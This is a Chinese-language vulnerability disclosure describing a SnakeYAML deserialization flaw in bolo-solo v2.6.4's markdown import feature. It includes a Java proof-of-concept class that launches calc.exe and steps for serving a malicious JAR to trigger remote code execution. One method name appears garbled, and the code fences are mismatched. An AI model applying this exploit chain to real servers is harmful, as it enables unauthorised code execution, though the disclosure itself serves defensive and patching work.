### 漏洞关键信息 #### 漏洞描述 在 bolo-solo v2.6.4 稳定版本中,“import/markdown” 路径存在反序列化漏洞,该漏洞源于不安全的 YAML 加载问题。 #### 漏洞文件 - `src/main/java/org/b3log/solo/bolo/prop/BackupService.java` #### 漏洞细节 1. **importMarkdo SendsSync() 方法** - 该方法读取压缩包内的所有 `.md` 文件,通过 `parseArticle()` 方法获取文章对象。 2. **parseArticle() 方法** - 该方法使用 YAML 加载读取的文件内容,但未采用安全加载方法,导致 SnakeYAML 反序列化漏洞。 3. **POC (Proof of Concept)** - 创建具有启动本地计算器功能的 JAR 文件。 - 将恶意 JAR 文件放置在 Web 服务器上,使用 Python 启动 Web 服务器。 - 恶意的 Markdown 文件 POC 示例。 #### 漏洞验证 - 成功触发漏洞后,弹出计算器,表明攻击成功。 ```markdown #### POC 代码 ```java // 恶意的 ScriptEngineFactory 类 package artsplot; import javax.script.ScriptEngine; import javax.script.ScriptEngineFactory; import java.io.IOException; import java.util.List; public class AwesomeScriptEngineFactory implements ScriptEngineFactory { public AwesomeScriptEngineFactory() { try { Runtime.getRuntime().exec("calc.exe"); } catch (IOException e) { e.printStackTrace(); } } // Other methods returning null } ``` ```markdown #### 漏洞利用步骤 1. 创建具有启动本地计算器功能的 JAR 文件。 2. 将恶意 JAR 文件放置在 Web 服务器上,使用 Python 启动 Web 服务器。 3. 包装恶意的 Markdown 文档并上传到服务器,通过 `import/markdown` 功能触发漏洞。 ```markdown #### 总结 - 反序列化漏洞存在于 bolo-solo v2.6.4 的 `import/markdown` 路径中。 - 漏洞源于不安全的 YAML 加载方法。 - 提供了完整的 POC 示例代码和利用步骤。